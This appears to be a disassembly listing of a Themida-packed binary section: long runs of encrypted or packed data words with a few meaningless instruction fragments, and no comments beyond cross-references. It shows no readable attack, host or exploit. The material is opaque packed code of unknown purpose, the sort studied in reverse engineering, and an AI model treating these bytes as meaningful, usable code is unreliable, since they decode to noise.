		dd 0CD4E30E0h, 0C59E06C1h, 0E11EDCEEh, 0AE90EF25h, 52137D84h
		dd 3DAEA49Ah, 534C10A7h, 3A5CE382h, 3D566036h, 32156995h
		dd 321F8F88h, 0D3A6644h, 9D172151h, 3B2CAD42h, 0E7E54CE0h
		dd 0CB9E0696h, 321561CAh, 9871F411h, 5DA44DB5h,	321569ADh
		dd 2A04BE22h, 0D5FC7B15h, 5203B822h, 178D905Bh,	87EA0778h
		dd 34016A3Ch, 7C90EB71h, 3D13727Fh, 321567A7h, 0E2EA9E11h
		dd 3214E787h, 52E96644h, 3213E52Dh, 0BF1A6611h,	32156688h
		dd 53C5ED22h, 94B5E3ABh, 3AFC600Ah, 0FC156688h,	39C56930h
		dd 0F49B2B6Ch, 261D2F94h, 5AEC348Eh, 0CF57D2AEh, 53750642h
		dd 319A6970h, 54156688h, 0CD7491CFh, 26194B97h,	38986917h
		dd 52156688h, 0DB99AAFFh, 0C3A2697Bh, 7C90EB70h, 3D1372B3h
		dd 321575C0h, 321B8F22h, 6376611h, 0DD1911A0h, 76E0656h
		dd 0D808119Dh, 0BBEDB6EEh, 2630730Dh, 0B9730642h, 53ED06E3h
		dd 7B90A070h, 75137280h, 321572ADh, 0E69A422h, 0BE76265Eh
		dd 4BE202ADh, 3AFC7272h, 633B7D44h, 379B692Eh, 52156688h
		dd 53C4ED22h, 0AA4CFF4Ah, 32068FF3h, 3CC36688h,	0BB0802DFh
		dd 3C3B2878h, 0DD96C332h, 0AF8F304Bh, 1FA099A4h, 3D13722Eh
		dd 3215679Bh, 0B7989388h, 34015D0Ah, 3201E92Dh,	3DFC6611h
		dd 0F3156688h, 8D6E9422h, 4A75FFDFh, 9F0D8601h,	0E2EAB485h
		dd 9690EFB1h, 3D137D84h, 32157E96h, 32068F88h, 0BD96644h
		dd 0D4A199F6h, 0EE334E6Ch, 666FC517h, 0BD2B0150h, 7B90A009h
		dd 75137219h, 32157761h, 12C9C744h, 0EEDAEC98h,	96ABEB47h
		dd 7BBFDE61h, 0F07DE834h, 0CAA49B42h, 3E38D3EEh, 34FC609Ch
		dd 0A1156644h, 141340D0h, 32108F43h, 31736688h,	0BF9FA835h
		dd 262E28A7h, 32188F17h, 0C2056688h, 36A8DD95h,	0B14E7402h
		dd 0CDC87094h, 0B91A9F58h, 32156655h, 32156ACBh, 8A569E11h
		dd 348DA7FCh, 0BE879C74h, 9A90EFE8h, 3D137DB7h,	32156704h
		dd 0B7D39344h, 34016E6Bh, 0F1940656h, 492ACF3Ch, 267D07B8h
		dd 0C7CAC0DCh, 3E38D3EEh, 0BFEC609Ch, 262E28C1h, 0B3730624h
		dd 52AA24FAh, 0F58DDEEh, 321577ACh, 8DFA022h, 8515DDAFh
		dd 77499854h, 52FEB744h, 534C61B8h, 3DC59970h, 32156002h
		dd 0EC9F0644h, 0BB74EF91h, 29B3CA94h, 0B7D39F8Eh, 34016E0Dh
		dd 0B71A9A7Dh, 32156616h, 3214E687h, 5AED6644h,	0AC45944Ah
		dd 3DE5ED71h, 0CD74B03Fh, 26194BF1h, 32128F24h,	0B5066611h
		dd 0BB2FB43h, 39966929h, 52156622h, 3DBD8A91h, 32156602h
		dd 0B7980744h, 34015D6Ch, 3DC599E8h, 32156A02h,	32128F44h
		dd 90046622h, 77D0A79Ah, 32078FD7h, 0FBA46644h,	6DCA1F1Ch
		dd 5458F0C6h, 4BDE75FEh, 6C8C45E6h, 94A5E3ABh, 0F4E0600Ah
		dd 261D2F0Dh, 0DB752942h, 32156624h, 0F5464D16h, 0C29F4E18h
		dd 492A0E25h, 0CDE9A1DEh, 26194BA4h, 2B9E698Eh,	3D156644h
		dd 321575ABh, 321B8F11h, 703D6688h, 37C035A5h, 9C031265h
		dd 84349E04h, 61F9DEE8h, 0BF74405Eh, 262E28A7h,	35956917h
		dd 3D156688h, 321567CFh, 0E2EA9322h, 321EE01Eh,	34FC6688h
		dd 3F156644h, 0ABD431FCh, 3E9769CDh, 3D156688h,	321560C0h
		dd 329E6922h, 0BB156611h, 29B3BA0Dh, 11AF0642h,	0DB5215C3h
		dd 32156602h, 125E6DF3h, 0DED965D7h, 4175FCF9h,	26AD8507h
		dd 53FB6FF3h, 3A5CE382h, 52526036h, 13DAA690h, 0C7421368h
		dd 7E7D071Bh, 0DBEF3D4Ch, 32156603h, 0F459A1A7h, 89AB5C8Eh
		dd 0CCC9D122h, 0E315234Dh, 87EA0663h, 34016A69h, 0C8AE0042h
		dd 29AE0055h, 26FC0705h, 60156644h, 73A1A66Ah, 0F475811Eh
		dd 1C03920Eh, 5BA361A2h, 0BFAD1E1Ah, 262E2894h,	851A068Eh
		dd 531DD09Fh, 0B01AB6DDh, 32156600h, 32156A61h,	837F7E44h
		dd 635B0BAh, 0A73FB347h, 0D290EF65h, 0DB137DE2h, 3215662Fh
		dd 0D982EFE1h, 0D96BE5F6h, 88F29F33h, 7B90A045h, 75137219h
		dd 320AEA87h, 8A756644h, 5FC83F0Eh, 321575F8h, 0F1381688h
		dd 43CCE3C8h, 0A3821966h, 2B76DD3Eh, 0F18A5AA4h, 16D80E25h
		dd 0CDECA524h, 26194BA4h, 0B31A068Eh, 32156641h, 0C74EDA9Bh
		dd 44D5E758h, 535DDAEAh, 95BE3C9h, 34FC6036h, 55156611h
		dd 6F83816Dh, 3DC59968h, 321575ADh, 321B8F11h, 64E46688h
		dd 0EE127ACCh, 0FF12A58Ch, 7E42A5EFh, 94F1E301h, 22FC605Fh
		dd 80156622h, 0C64ECB77h, 1443711Dh, 0E2656D66h, 0F4E89DC0h
		dd 261D2F94h, 21FC398Eh, 7156644h, 24FCECA6h, 59CA43D8h
		dd 14957D38h, 79C037E0h, 0FE7D7DD8h, 0C7C1DD71h, 3E38D377h
		dd 3D756050h, 321563A2h, 0EB940011h, 3DFC7102h,	5D156644h
		dd 26D43EF1h, 0E77B6943h
		dd 4695BFFAh, 0BF74CEADh, 262E28A7h, 33986917h,	0CE156688h
		dd 0B81AB6BBh, 32156623h, 8690EFEDh, 52137D2Eh,	65CBED22h
		dd 534B3E74h, 3A5CE3D7h, 0DB4A609Ch, 3215664Bh,	56970AEDh
		dd 3293ACCBh, 40598C0h,	5A5B3429h, 0ACFC326Ch, 3219EC1Eh
		dd 35FC6688h, 0B8156644h, 478D0095h, 87EA27B6h,	34016AA5h
		dd 7C90EBB1h, 52137219h, 3213EE1Eh, 0B61A6688h,	32156644h
		dd 7D36D198h, 0E2EA075Ch, 32156161h, 2D533E44h,	6DF76A3Eh
		dd 32156FF8h, 3969D988h, 8A39737Eh, 0B79C76B5h,	340EC0A9h
		dd 32156A61h, 3F6BAB44h, 0EF27D07h, 0AC9F8519h,	7B90A0D7h
		dd 6D13724Ch, 32048E42h, 1B2E6611h, 6E523BDBh, 0EA38C978h
		dd 4119DD58h, 8D2C4513h, 708B1BD9h, 20FC071Dh, 0FD156622h
		dd 85296298h, 0EC8A07F0h, 27562535h, 1C8AD799h,	1A5D0E1Ch
		dd 0CDE9B79Bh, 26194BF1h, 33916924h, 0CB156611h, 95BE305h
		dd 0B91A6050h, 32156623h, 3DC599E4h, 32157A07h,	23FC0644h
		dd 8F156622h, 0D70F41EEh, 4307E0B4h, 233E3B8Bh,	58863F0Bh
		dd 3831DC77h, 8E90EFE9h, 0CA137DE2h, 321AEE2Dh,	65756611h
		dd 32108ED7h, 0A26D6644h, 693F8DF1h, 3D110C70h,	3215670Eh
		dd 327D9A44h, 3D156632h, 32157599h, 321B8F88h, 51C06644h
		dd 44EAE031h, 449918FBh, 39A826A1h, 3205662Ch, 0DA759F22h
		dd 32156600h, 5EDBD12h,	33A614B3h, 0EE418449h, 5DDFBB74h
		dd 0EC9E007Bh, 0D4AE001Ah, 327F0788h, 3B8099E9h, 52137296h
		dd 32156EACh, 0DF380422h, 0B816B779h, 6A4B3736h, 53D3ED22h
		dd 0B2EBED42h, 0BB7487F9h, 2619670Dh, 33996942h, 0CB156622h
		dd 6377E39Ch, 0B81A6093h, 32156645h, 0B97506DBh, 0D2D3E7C8h
		dd 531D1855h, 6B4DD716h, 52C59943h, 7487AC90h, 0A4AB3874h
		dd 5357A5CBh, 8B756248h, 1D1B5381h, 0D1F6E7EEh,	0B71A07DFh
		dd 32156623h, 22150EE4h, 0B71A6688h, 32156645h,	32188FDBh
		dd 0B5606611h, 489E2BC5h, 71A1928h, 5AD863B9h, 32154611h
		dd 0E3A269E8h, 32156EACh, 3D217122h, 0AD65C681h, 0FC9E005Fh
		dd 327F071Eh, 349C6942h, 3D156611h, 3215660Ah, 0CDEC0744h
		dd 260B6FB7h, 0F2940617h, 1CBB6DB5h, 0D1F0BAFCh, 0B79C0736h
		dd 34017780h, 0AAB00E8h, 0F8F0E653h, 0E790EF43h, 0DB137215h
		dd 32156683h, 8B904AF4h, 0F948C98Eh, 587FD2C2h,	1CAA06C8h
		dd 0DB7802AEh, 32156624h, 0F2DE4A1Fh, 5A749FD9h, 32157644h
		dd 321577CBh, 5190D811h, 0A2642B0Bh, 539D4796h,	68E9F96Dh
		dd 0B2754452h, 6BAF1B6Bh, 53565A93h, 3315664Ah,	3EFD0611h
		dd 83156688h, 5BE9C2E7h, 0F77E94D4h, 54F68846h,	634DB003h
		dd 6BEFED22h, 0CB150C43h, 2C1CF3EEh, 3D75609Ch,	321560C3h
		dd 329D6922h, 53156611h, 1144E301h, 20FC6050h, 0EC156622h
		dd 43B8086h, 9042BABh, 26714288h, 3D91BE55h, 0E7A0ED71h
		dd 52137285h, 0ADFEE722h, 0FCA26971h, 4388ED70h, 3D13728Ah
		dd 321567C4h, 879C9322h, 3401627Ch, 32156A61h, 0CF8F5044h
		dd 56C46524h, 9B0C60F2h, 2B88EFAAh, 52137244h, 3DEBD92Dh
		dd 32156598h, 0E1AA6988h, 4388ED25h, 3D137220h,	32156795h
		dd 8A459E88h, 32156644h, 3A9EBE23h, 0B131629Ah,	0B975624Ch
		dd 379F69BAh, 54156622h, 0EA199490h, 32ECE5E9h,	0B7EE24Bh
		dd 0DB756622h, 3215661Ch, 6A04FE0Ah, 0E062585Bh, 0CB66FF8Ch
		dd 0FCA269FAh, 0BB1A06E9h, 32156640h, 0D7FDD844h, 53CED11Eh
		dd 0B3F6EFDBh, 32156287h, 36FEE722h, 0B5156611h, 0BB494294h
		dd 0B11A4240h, 32156634h, 321577F8h, 5D34C588h,	2864B164h
		dd 919AC02Dh, 0F8FE553Bh, 0BB43E3A5h, 36D3E7A2h, 0B1156622h
		dd 69262FFh, 3E9C3AACh,	36916960h, 52156622h, 52743F40h
		dd 0ED949FE8h, 44190BE1h, 0DBD55743h, 3215661Bh, 97F0FB19h
		dd 0AE912191h, 35FC0170h, 0EB156611h, 9985C678h, 0B79C450Ch
		dd 3401480Fh, 321576F8h, 0D2E80288h, 0C3FDC20Bh, 411E85B5h
		dd 371AA942h, 3D93D841h, 64534B08h, 6C317AD5h, 0C2288890h
		dd 0B3E9B43Bh, 323534AAh, 1661656Eh, 1CAF3431h,	0B3199F9Dh
		dd 3D70CAB6h, 65DFE752h, 78173F5Dh, 6E918C09h, 0E41454BBh
		dd 33956978h, 0CE156611h, 0B31ACBEEh, 32156657h, 32128F42h
		dd 0F6B36611h, 122A006Ch, 0F2940083h, 1F74CF04h, 589A694Bh
		dd 5A0AC4A5h, 1651656Bh, 2DB76302h, 68104979h, 527FE987h
		dd 4C2E713h, 6B27E1B6h,	0CD74889Bh, 69E1EF8h, 36D1E760h
		dd 0CE156622h, 0DA8A090h, 46165E8Fh, 8D424660h,	4C003722h
		dd 8ED2E756h, 1BAC9766h, 3CFC39BAh, 6B156622h, 0BB4C69E2h
		dd 28B06E36h, 882DED1Fh, 2A639950h, 4F315290h, 6D12BCA2h
		dd 7A64DD17h, 0E1E249DBh, 0BF048D90h, 0ED24AEA4h, 32018F1Fh
		dd 1F256622h, 480D5192h, 1C167373h, 27DA5FEDh, 0B3CFE3CDh
		dd 8F9C900Fh, 340146EDh, 3DEAE3B8h, 321545A7h, 3CFC9F11h
		dd 87156688h, 5C531F23h, 5F6152CCh, 9A19C489h, 535A8E59h
		dd 87756644h, 0CBFC07ADh, 0CA156615h, 327E80E0h, 1619EF44h
		dd 0C5943542h, 774B7197h, 0B94207D1h, 0F6964250h, 0E07E9A26h
		dd 321A8F15h, 0A1756688h, 0F3A44307h, 0AE93F891h, 0D6DFD6C5h
		dd 3380EFD4h, 5213725Eh, 0C0940042h, 851A56F8h,	0DB940776h
		dd 1B4029E3h, 3D110C43h, 32156A91h, 34936988h, 3D156644h
		dd 321566ADh, 22150E11h, 39FC6688h, 0C6156644h,	0E9FE44E4h
		dd 2C378D1Ah, 0CA7DA9D9h, 0BB15665Eh, 0B71A4236h, 32156607h
		dd 32188FE8h, 5BBF6644h, 0D7427486h, 79F93AC6h,	0B9CEDCBBh
		dd 22FC079Eh, 0C0156622h, 0EC69A26Fh, 20E1C4B8h, 38029F83h
		dd 5880E5C9h, 8DEC0611h, 5AA50C44h, 3B809925h, 0CB13723Ch
		dd 2B80E398h, 3DEC609Ch, 32156FC1h, 5EAB0622h, 0B8596490h
		dd 63450770h, 4D0500FDh, 16594F4Ch, 0B34F3F15h,	4D05004Ah
		dd 6EA9E2Ah, 0F6943F06h, 32156615h, 32188FE8h, 6C9D6644h
		dd 78E6F8F4h, 36AFD486h, 8B7E85BFh, 0C39CAE3h, 52228E43h
		dd 34FC6611h, 96156688h, 0B3BFC68Eh, 0A7D936Ch,	0BB156618h
		dd 0BB1A42BCh, 32156645h, 0B97506DAh, 53D3EDC9h, 7596D9EEh
		dd 5475CB25h, 5AA2B5A3h, 3216ED1Eh, 0FF956688h,	4B100775h
		dd 37732219h, 798F6BC6h, 1631228Bh, 0A818B169h,	96C4B69h
		dd 37FC0055h, 5E156688h, 4170F4D9h, 0F5249E13h,	3CFC9E20h
		dd 0DA156688h, 2D517708h, 9FCB0528h, 0BFCD192h,	35936907h
		dd 52156644h, 0D7953D75h, 0BB4507A7h, 0B9D6EF70h, 0F6944240h
		dd 32156626h, 3200ED1Eh, 0BE1A6688h, 3215664Bh,	32156CCBh
		dd 8C2CE011h, 0A0C6CF30h, 64A3E64Fh, 0F49480ABh, 32156615h
		dd 32118809h, 6926644h,	0E9C3A06h, 32188F35h, 2CA56688h
		dd 0B1F6A993h, 303AC4EFh, 2C7E696h, 27986948h, 52156644h
		dd 3EFC4596h, 70156611h, 59C364Eh, 3427A70Ah, 538725A8h
		dd 52E813BFh, 0F89400D8h, 524DF88Ch, 53DBED44h,	339A6970h
		dd 0CB156688h, 623152CFh, 361086ABh, 0B1156611h, 36926248h
		dd 0B81A3A60h, 32156628h, 0BE4E771h, 0B82F9260h, 0DD9407AFh
		dd 53B72882h, 33EF8990h, 0ED3C0DC0h, 33EFA1C5h,	0F5940D6Ah
		dd 53B728B1h, 3200E687h, 22FC6644h, 0B156622h, 0E2F39738h
		dd 0D0CE72D0h, 437992A0h, 0B1F5DF23h, 269C62FDh, 321C8FACh
		dd 0F56A6644h, 421A723Eh, 5A88AB85h, 32151672h,	0B3315ACDh
		dd 42974216h, 0B34F12FEh
		dd 0DD65E47Ah, 32128F30h, 56F06622h, 0AC5C76A6h, 33A8EDD4h
		dd 0DB137248h, 32156624h, 5602659Dh, 0CDACC991h, 0CEEA99BBh
		dd 63E0A613h, 2A67DB44h, 0B3585284h, 9D5CA2B1h,	0A8F8E70Bh
		dd 0B368A151h, 0EE047D7Dh, 6FFCEFDBh, 339F9723h, 0FD940648h
		dd 155B5697h, 3210E94Bh, 9BAD6622h, 53737D7Bh, 65EDAEB8h
		dd 0CDEA99FBh, 6DEB4FDDh, 321572F8h, 4E89C888h,	8073F32h
		dd 90CA8094h, 0C022EB08h, 36F482Ah, 0B521991Bh,	1365DE72h
		dd 762476C0h, 6A4D62ACh, 0E3341671h, 0DBD49332h, 32018F19h
		dd 0E71A6688h, 0A7236EDDh, 0FE7DB443h, 7611B7B2h, 0D2E71BE8h
		dd 0F324146Eh, 0B71A2CD7h, 0CDEA9979h, 32156361h, 0E5E7144h
		dd 0DE962AAEh, 1629EF15h, 0CA9CA901h, 2293691Bh, 0DB156622h
		dd 3215661Ah, 852FFB0Ch, 0DAA70BD2h, 522CCD5Dh,	3DD6D11Eh
		dd 3215600Fh, 329E6944h, 53156622h, 26E23384h, 0DB803BACh
		dd 32156641h, 0DF0333A7h, 162199F2h, 36D1E7D2h,	0DB156644h
		dd 32156632h, 0C7FF41DEh, 41E48ACAh, 0B91D1295h, 684D00D5h
		dd 0EC9E0071h, 32156A60h, 0AB626D44h, 35CA57D8h, 3D2C0FF8h
		dd 321C8F47h, 72E86644h, 794A0563h, 6D33C015h, 36F9E5E9h
		dd 0BB314ACDh, 6F3FEFE7h, 3212E41Eh, 0B71A6688h, 32156645h
		dd 8B4433DEh, 46B42E4Bh, 2AE78F09h, 0F39466FEh,	0BE0DB6BEh
		dd 334CAB98h, 0B31A3B62h, 32156650h, 321BE92Dh,	3BFC6611h
		dd 0F4156688h, 0CA971E46h, 0CAE5E756h, 0B3F0EF44h, 3215624Dh
		dd 36F8E744h
		db 22h
byte_5FAC35	db 66h,	15h, 0B5h	; DATA XREF: sub_581EE9+18BDAo
; ---------------------------------------------------------------------------
		cmp	eax, 9CBB4942h
		inc	edx
		sbb	dh, [eax+32156654h]
		sub	eax, 11321FE9h
		db	66h
		cld
		aaa
		mov	[esi+15h], ah
		jnb	short loc_5FAC88
		inc	edi
		retf	0DD45h
; ---------------------------------------------------------------------------
		db 0E3h, 38h, 1Ch
		dd 0B9E96005h, 263B4B1Dh, 321F8F42h, 4FD16622h,	0B1AEE95Fh
		dd 0ABF97ADh, 1270F37Dh, 0B61A6036h, 32156647h,	6EA9E70h
		dd 0F6943C60h, 32156626h
; ---------------------------------------------------------------------------


loc_5FAC88:				; CODE XREF: Themida_:005FAC4Fj
		jno	short $+2
		sahf
		jmp	far ptr	778h:7AE57433h
; ---------------------------------------------------------------------------
		dw 6EAh
		dd 0F6943806h, 32156615h, 32138EE8h, 10A86644h,	0BF2F35D2h
		dd 3D4C0771h, 6574A137h, 3211DB11h, 0DD9C6622h,	6DEB674Ch
		dd 0CB749AE8h, 0CDE937ADh, 0B97506DDh, 534E36D9h, 73D3E7EEh
		dd 6EA07A7h, 0F6963C06h, 321C8F15h, 130D6688h, 0E8376992h
		dd 0CD46B7FAh, 0B14B4225h, 3D75624Ch, 53ECAFFBh, 21916943h
		dd 0DB156611h, 32156686h, 5DEA53FFh, 0F0C38CBCh, 56D57E8Ch
		dd 6EA0A68h, 0F6943F60h, 32156626h, 3214E21Eh, 0B9ED6688h
		dd 0BB474240h, 36D7E7C0h, 0B1156611h, 2692624Ah, 3EFC3A60h
		dd 38156622h, 0CC72323Ah, 0FF18703Dh, 0F54186B8h, 2605D7A7h
		dd 32156617h, 0B7D29E88h, 340179C5h, 32156622h,	24906971h
		dd 0DA156688h, 32156654h, 0B6318AC5h, 0A5FCC8Ah, 794849ABh
		dd 67933FC6h, 8F96077Ah, 340EC035h, 0A916988h, 0CE156644h
		dd 911AFBAFh, 5475600Bh, 0B3739103h, 533F609Ah,	0B71AB5DDh
		dd 3215661Ah, 329269E8h, 3D156644h, 0DB74A995h,	3215661Eh
		dd 0C5FC2BE3h, 0AFD39F20h, 89DB256h, 0CD483D65h, 263ADB0Dh
		dd 88730642h, 21FC707Eh, 76156611h, 886A17AAh, 0BA46380Bh
		dd 0AAC0EAD1h, 17034ABh, 0B174EF24h, 263ADBF9h,	0B01A0224h
		dd 321564AEh, 349B69E8h, 3D156644h, 321566ABh, 53E2ED11h
		dd 1DA8E34Fh, 32146050h, 20FC6622h, 72156611h, 87ED1FD9h
		dd 0C61DF1A4h, 0BB490402h, 0BD09F64Ah, 0BFED0631h, 2967DEC1h
		dd 0CDED9A24h, 32068FC1h, 11376688h, 36310A5Dh,	46A3BECBh
		dd 9D463526h, 0B8B0DEF2h, 339E6964h, 0CA156622h, 94E1D39Ch
		dd 3D756093h, 0D2A3B5FBh, 3DA8EB43h, 3D137A22h,	32156E05h
		dd 0B9730644h, 8AF8E6ECh, 4AD2E770h, 0B35FC2B0h, 9A4A1EABh
		dd 0B3E24F5Bh, 9A4A1ED6h, 4AFAE7F1h, 3D5FC27Ch,	321563ABh
		dd 0B9730611h, 0B9420776h, 0F6964250h, 3FFD0626h, 98156611h
		dd 0A4866391h, 65520855h, 0AA088BE2h, 676C9090h, 0DA4E319Dh
		dd 3215664Fh, 698725A8h, 385CB212h, 0B275E965h,	534A618Eh
		dd 3E14DBA9h, 35FC6005h, 0B2156688h, 4D179183h,	0CDAC55E7h
		dd 3DEA99EEh, 3215620Ch, 53750644h, 0DBD55743h,	32156616h
		dd 0A6AF44A7h, 0CE8EA08Bh, 3215DF73h, 0C3146611h, 3E9E6702h
		dd 36D1E760h, 0CB156622h, 0B31AAE21h, 3215669Fh, 0DB740624h
		dd 3215662Ch, 55C8965Dh, 90150659h, 224B9C20h, 61740EF4h
		dd 321567AAh, 69CB6788h, 3204E24Bh, 3EFC6622h, 0BF156611h
		dd 0B1BC2EDh, 85851A32h, 0DB5F2C4Eh, 3215661Dh,	5F81B6DAh
		dd 6A7D08FCh, 90821C9Eh, 0DB92629Ah, 3215668Eh,	0A9103770h
		dd 0DBD4EFD7h, 3B916919h, 52156688h, 34AF3D17h,	533899B8h
		dd 3CFCA720h, 0A4156688h, 0E22775CBh, 76CFE016h, 7A854FFh
		dd 0B71A2C49h, 0CDEA9915h, 1E9437DBh, 0E05A0435h, 1611EDB1h
		dd 3711A2C7h, 0BC72940h, 321574F8h, 12B2B888h, 2A02E1DBh
		dd 0C2DB1178h, 1FC97A1Eh, 62FE853Fh, 0C5315AC3h, 1629E1F5h
		dd 0B72C9349h, 34016915h, 32BCE24Bh, 0B81A6622h, 32156602h
		dd 32156861h, 5CF53044h, 6A02A142h, 6CAC0164h, 5A1B4E9Dh
		dd 32156644h, 0B33162A9h, 321562D5h, 35966988h,	3D156644h
		dd 321567A7h, 39FC9A11h, 99156688h, 6A3A5E02h, 7DBA287Fh
		dd 0F21E316Ch, 3231E387h, 54756644h, 10AFB9A9h,	53715AF7h
		dd 18E8E34Fh, 32146050h, 39FC6622h, 50156611h, 8E3A9A8Ah
		dd 94F578A7h, 89462A68h, 27517AADh, 0EEBA509h, 0EB148CA9h
		dd 0B3317AA9h, 321562D5h, 321D8F88h, 0BBC36644h, 31FD102Fh
		dd 22FC8AC2h, 89156688h, 60722EDBh, 565DB012h, 0C09BD7F9h
		dd 53542B5Bh, 321568ADh, 0EBDA2B22h, 2656522Ah,	1BE4444Ch
		dd 520D063Dh, 32156ACBh, 0ACCD2711h, 72D72D95h,	911F3958h
		dd 0E09400D5h, 6174DB8Ah, 7179C7E0h, 0D9943D2Eh, 45D54811h
		dd 0EA4C9590h, 0B346A206h, 6E394270h, 0B34C75CDh, 0DD494AE0h
		dd 62EC3D9Bh, 3CECE1FCh, 0B9D7EF0Bh, 0F6964215h, 0B373068Ch
		dd 0DBD4C78Fh, 3215662Ah, 0E270179h, 23EE602Dh,	32048F25h
		dd 0C1606622h, 619EA27Ah, 1568B92Fh, 2E69C4ECh,	9F723899h
		dd 320EEF1Eh, 0DA756688h, 32156654h, 5FC82014h,	7E790776h
		dd 2481A5FDh, 0CB8E6FCAh, 0F99E0078h, 5FA0EF70h, 0DB13728Ch
		dd 3215664Dh, 0F51D9EEh, 0D064A9C4h, 36F9E5DAh,	8B316ACDh
		dd 32156622h, 6BE92898h, 0DCFB5B71h, 0B71A88AAh, 3215668Fh
		dd 0C2940071h, 8D1A7B07h, 0C9407B3h, 0EFC8BBFFh, 3282E31Eh
		dd 5AE96688h, 32153D6Ch, 883172ABh, 32156611h, 30D29489h
		dd 32156644h, 32108F78h, 95C86611h, 602B5171h, 321562FEh
		dd 0B9C36722h, 0F6944205h, 3215668Ch, 32078F24h, 70656622h
		dd 7A68A048h, 415ECA5Dh, 82ECB057h, 20E3AF5Bh, 3217E91Eh
		dd 68456688h, 5FA0EF25h, 52137226h, 32156FF8h, 8CF67A88h
		dd 959FE4E6h, 53E0540Eh, 3239C2F8h, 0B61A0688h,	32156646h
		dd 0DB74ADA9h, 0CDEA98AEh, 3FFC36E8h, 0D3156644h, 8A7F7FDBh
		dd 14FAC6A4h, 12F22931h, 0F1AA691Ch, 36943643h,	98329935h
		dd 1609EDE9h, 0B311A2C7h, 983299C9h, 32138F70h,	34536688h
		dd 8A2ECB02h, 321561CBh, 0A942CE11h, 8A4DC2F7h,	18E8E377h
		dd 22FC6036h, 0F5156611h, 0EFFCA570h, 0B981E022h, 0F10B6221h
		dd 0F315CFA6h, 0B3756540h, 0C973D982h, 0F1A26975h, 2D466370h
		dd 0E23C69F4h, 2D46DD17h, 0EA3C695Eh, 0B61A064Ah, 3215668Bh
		dd 530383C4h, 0DB05A6E3h, 32156617h, 7D8BDC44h,	0FA24CCB6h
		dd 0E4A26942h, 53DAD91Eh, 18E8FB01h, 0B81A6050h, 32156631h
		dd 321568F8h, 7FF8188h,	3F16844Ch, 4B974D7Ah, 0F69909Ah
		dd 32146688h, 33C2E54Bh, 3FFC6622h, 0BF156611h,	0E26764F8h
		dd 0EEB72EB0h, 671341D9h, 321DE11Eh, 0B31A6688h, 32156646h
		dd 0C940742h, 89AEDDAAh, 33BEE387h, 0F5EC6644h,	901FD924h
		dd 0B30B9164h, 190E55AEh, 0F313993Ah, 1C946204h, 0CDEA99EEh
		dd 22345009h, 37FCC6D5h, 0B9156622h, 407B24BEh,	51ECD9DFh
		dd 0DDD40E08h, 0C5CA9120h, 0DDD429CEh, 93D2E78Eh, 33EAF1F7h
		dd 527539DCh, 0B3733942h, 53158356h, 32156FADh,	9470B122h
		dd 8B94A974h, 0CB743EE8h, 3678D3CDh, 0BD1A6036h, 3215661Fh
		dd 32156F61h, 1A22F544h, 8EB2FC22h, 0AF9E6F2Ah,	340164F9h
		dd 321576ADh, 1ED2A922h, 7FE6B143h, 9F4E4269h, 0BF2B937Ah
		dd 0B3269934h, 700423Dh, 3E9E112Fh, 36D1E760h, 0B3156622h
		dd 952073D0h, 339969FFh, 0C7156644h, 321B454Ah,	1619EF11h
		dd 0F89CA701h, 0F495061Dh, 226CD8C9h, 52744C70h, 3218EC87h
		dd 3D756644h, 321566ACh, 0EA6BDC11h, 52740EC7h,	851AA1CFh
		dd 0B94707FCh, 0F6964215h, 321F8F8Ch, 167A6644h, 1F9B54FBh
		dd 93B771D0h, 19B0E3A3h, 0CA756050h, 53DEED44h,	0CA1786D0h
		dd 638E38Bh, 3EC6050h, 3D357D2h, 0D79F06E1h, 9F74AC03h
		dd 2DD3E724h, 3D201263h, 3215659Ch, 0C9A26988h,	32058F25h
		dd 7D206622h, 0CA2FD232h, 0AA631B74h, 7C504CE1h, 0C5384505h
		dd 1F4D792Ah, 7AB902CCh, 7610AE45h, 375DCA46h, 6A0A5DE6h
		dd 32156361h, 0F7CD4844h, 769C1844h, 3D757A35h,	32156803h
		dd 321D8E44h, 41FA6622h, 31719766h, 524C74E7h, 8101A7C4h
		dd 5374072Eh, 3214E31Eh, 0C7EC6688h, 32164AADh,	33966922h
		dd 0CA156611h, 321EEA87h, 54756644h, 66D4A5A3h,	0AC05DC77h
		dd 48410EE9h, 3E9C6644h
		dd 3BFC0606h, 7D156611h, 0B6D251C0h, 59664558h,	3213E72Dh
		dd 0B61A6611h, 32156688h, 12330E25h, 269C6622h,	32138F35h
		dd 37886688h, 3355DB1Bh, 3EFCAF13h, 0D9156611h,	92341C36h
		dd 0FA55C89Fh, 0B93A11D3h, 260CF384h, 3A98698Eh, 3D156644h
		dd 321564A4h, 9740611h,	3C91698Ah, 52156645h, 32156BCAh
		dd 0E2A78311h, 0FE90373Ch, 31D92E0Ah, 88733CF5h, 0DB4FFCCBh
		dd 32156698h, 506C6DD5h, 0AA623299h, 0D1D301FDh, 0ECB27AA0h
		dd 8D423025h, 32156626h, 334A9898h, 0B975387Ah,	32138F87h
		dd 0B9C06622h, 0DC7D52F3h, 36EA37E9h, 1619ED60h, 0DB11A2A1h
		dd 32156601h, 4E62FE80h, 62B712C7h, 958622F7h, 67A1E28Eh
		dd 1270EBB3h, 0B71A6050h, 0CDEA99A1h, 321DE31Eh, 0B01A6688h
		dd 32156646h, 5A470742h, 72F243FBh, 96AC37D2h, 0B34F8B4Eh
		dd 5B5FCEC3h, 93D4E716h, 0F341769Ah, 0DB9464A5h, 0C6DE31CCh
		dd 0B34CAC20h, 0CC2D9A62h, 68C5EF61h, 32156ECBh, 0E8702511h
		dd 1E38DD69h, 23FC06B4h, 65156622h, 0D0D3D28Eh,	50E06C29h
		dd 0D69DA89Bh, 8E826238h, 0BF7448A4h, 26589905h, 37FC0642h
		dd 13156622h, 9B5F23FFh, 0EFB6B009h, 0CD747ED4h, 0DBE006C3h
		dd 32156605h, 801058B5h, 0AAAE9074h, 168EA892h,	0DE370794h
		dd 27E6D959h, 1F98EF25h, 0CA13720Ch, 683152EEh,	3211A209h
		dd 0B3756644h, 0C6F1B5FCh, 3E9E0718h, 0D19C35ACh, 3211A5C5h
		dd 0F1966622h, 1609E115h, 0C39406D4h, 1E08137h,	6852DF44h
		dd 0D09C3470h, 3211A409h, 0D8946644h, 32156626h, 6E317296h
		dd 0DB315201h, 32156648h, 70585C31h, 0DDDB1A45h, 22FFEE2Ch
		dd 3064FBCFh, 20FC6036h, 0C9156611h, 73DE5D9Eh,	5C485E30h
		dd 8C369FD9h, 1B214FF3h, 0B326992Eh, 27B94270h,	3E9E39E7h
		dd 36D1E735h, 0B3156688h, 0F700CAB5h, 249B697Dh, 0DB156611h
		dd 32156699h, 0A61DD188h, 14C09CE7h, 0B5E41EB6h, 0F6F01481h
